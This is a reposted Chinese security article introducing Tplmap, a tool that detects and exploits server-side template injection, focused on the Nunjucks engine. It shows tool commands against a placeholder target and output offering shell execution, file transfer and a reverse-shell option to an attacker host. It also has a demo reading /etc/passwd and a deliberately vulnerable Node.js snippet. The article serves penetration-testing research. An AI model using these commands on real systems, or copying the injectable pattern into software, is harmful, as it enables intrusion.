IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

使用Tplmap对Nunjucks模板引擎进行服务端的模板注入 - 安全客 - 有思想的安全新媒体

发布时间:2016-08-05 10:51文章来源:网络整理文章作者: 学习网点击次数:
本文描述的是一种沙箱逃逸技术,这是一种用于发动服务器端模板注入攻击(SSTI)的工具,Tplmap在Nunjucks模板引擎上实现了这种技术,并且成功地让操作系统执行了远程命令。

 介绍

本文描述的是一种沙箱逃逸技术,这是一种用于发动服务器端模板注入攻击(SSTI)的工具,Tplmap在Nunjucks模板引擎上实现了这种技术,并且成功地让操作系统执行了远程命令。感谢Andrea在分析过程中对我的帮助。


Tplmap

Tplmap(Template Mapper)是一种自动化工具,可以检测和利用服务器端模板注入漏洞(SSTI)。它可以协助SSTI利用使应用程序妥协, 并且让操作系统执行远程命令。

安全研究和渗透测试人员可以使用这种工具来检测和利用漏洞,并研究模板注入缺陷。

Tplmap模板功能可以通过插件进行扩展。这里有几个打破沙箱的方法,来自James Kett的研究:Server-Side Template Injection: RCE For The Modern Web App。

具有高级功能的Tplmap能够在盲注的情况下检测并实现命令的执行。


例子

$ ./tplmap.py -u 'http://www.target.com/app?id=*' 
[+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool
 
[+] Found placeholder in GET parameter 'inj'
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '#set($c=*)\n${c}\n'
[+] Jade plugin is testing rendering with tag '\n= *\n'
[+] Jade plugin has confirmed injection with tag '\n= *\n'
[+] Tplmap identified the following injection point:
 
  Engine: Jade
  Injection: \n= *\n
  Context: text
  OS: darwin
  Technique: render
  Capabilities:
 
   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes
 
[+] Rerun tplmap providing one of the following options:
 
   --os-shell or --os-cmd to execute shell commands via the injection
   --upload LOCAL REMOTE to upload files to the server
   --download REMOTE LOCAL to download remote files
   --bind-shell PORT to bind a shell on a port and connect to it
   --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT
 
$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.
 
linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r--  1 root  wheel  5925 16 Sep  2015 /etc/passwd
linux $


NUNJUCKS

Nunjucks是一种模板引擎,用于在Express和Express这类Node.js web框架上开发web应用程序。下面的Connect应用片段来自于一个web页面(http://localhost:15004/page?name=John),其中存在着服务器端模板注入漏洞。

app.use('/page', function(req, res){
  if(req.url) {
    var url_parts = url.parse(req.url, true);
    var name = url_parts.query.name;
    
    // Include user-input in the template
    var template = 'Hello ' + name + '!'; 
    
    rendered = nunjucks.renderString(
      str = template
    );
    res.end(rendered);
  }
});



使用Tplmap对Nunjucks模板引擎进行服务端的模板注入 - 安全客 - 有思想的安全新媒体
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/News/anquan/395531.html

标签分类:

注入攻击 沙箱逃逸
上一篇:上一篇:黑客对美国民主党的攻击引发了恐慌 - 安全客 - 有思想的安全新媒体
下一篇: 下一篇:8月5日-每日安全知识热点 - 安全客 - 有思想的安全新媒体
无觅关联推荐,快速提升流量